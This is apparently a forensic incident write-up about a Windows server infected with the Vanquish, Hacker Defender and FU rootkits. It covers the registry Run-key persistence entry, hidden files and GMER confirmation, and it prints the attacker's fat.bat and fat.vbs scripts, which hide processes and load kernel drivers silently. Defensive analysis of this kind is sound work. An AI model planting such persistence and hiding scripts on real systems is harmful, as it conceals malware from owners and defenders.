Total analysis time: approx. 4 hours

After starting the VM, the first indication that the box had been compromised was the text file with `redrum redrum`. Shortly after starting the VM, the VM blue screened. This happened on a semi-regular basis. The output of one of the blue screens is below:

```
The Session Manager system process terminated unexpectedly with a
status of 0xc0000005 (0x7c80aeeb 0x002afb4c)
```

Due to the unpredictable behavior and unknown state of the system, the production system was taken offline for analysis while the redundant, backup server took over the primary responsibilities of the suspect system. The processes are such that there is no noticeable impact during the switchover.

The initial step was to investigate the registry. Specifically,
`HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run`

One suspect entry was discovered:
`FAT Filesystem Initialization wscript "C:\WINDOWS\fat.vbs" "C:\WINDOWS\fat.bat"`

Below are the related files which provide more insight into the compromise.

```
fat.bat
      @ECHO OFF
      cd C:\WINDOWS\system32\drivers
      fu -ph 4
      ..\InstDriver.exe -install mmpc mmpc.sys
      ..\InstDriver.exe -start mmpc
      fu -phd msdirectx.sys
      fu -phd mmpc.sys
      sc delete mmpc
      exit

fat_init.bat
      start "" /MIN /HIGH "C:\WINDOWS\fat.bat" > NUL

fat.vbs
      CreateObject("Wscript.Shell").Run """" &
      WScript.Arguments(0) & """", 0, False
```

The next step was to download and install `WinHex` (free version). After installation, open the `C:\` drive for analysis and immediately found the following hidden directories and files (with a timestamp of 06 March 2011):

```
c:\hxdef100r
c:\sysent
c:\vanquish-0.2.1
c:\vanquish.log
```

Also noticed the following hidden files in the directory `C:\WINDOWS\system32` (with 06 March 2011 timestamps) that appeared to be suspect:

```
InstDriver.exe
ctl.exe
He4HookInv.sys
```

At this point, everything on the box with a timestamp around *06 March 2011 22:07:00* is suspect. After further investigation, the following additional files were discovered:

```
C:\WINDOWS\system32\drivers
      _cool_beans
      BASIC.sys
      sptd.sys
      fu.exe
      msdirectx.sys
      mmpc.sys
      Ctr12Cap.sys
      sysenter.sys
      BreakOnThruToTheOtherSide.sys
```

At this point, downloaded GMER 1.0.15.15627 and confirmed the above suspicions. GMER also pointed out a number of hidden processes (which was expected due to the infections).

The following rootkits were identified:

```
Vanquish v0.2.1
Hacker defender
Fu
```

There are still a number of unidentified, suspect files on the system that need investigation (e.g., `Ctr12cap.sys, sysenter.sys`, etc.).

A number of rootkits contained README files (some with uninstall instructions). At this point, the recommendation is to restore the server to a backup predating 06 March 2011 22:07:00.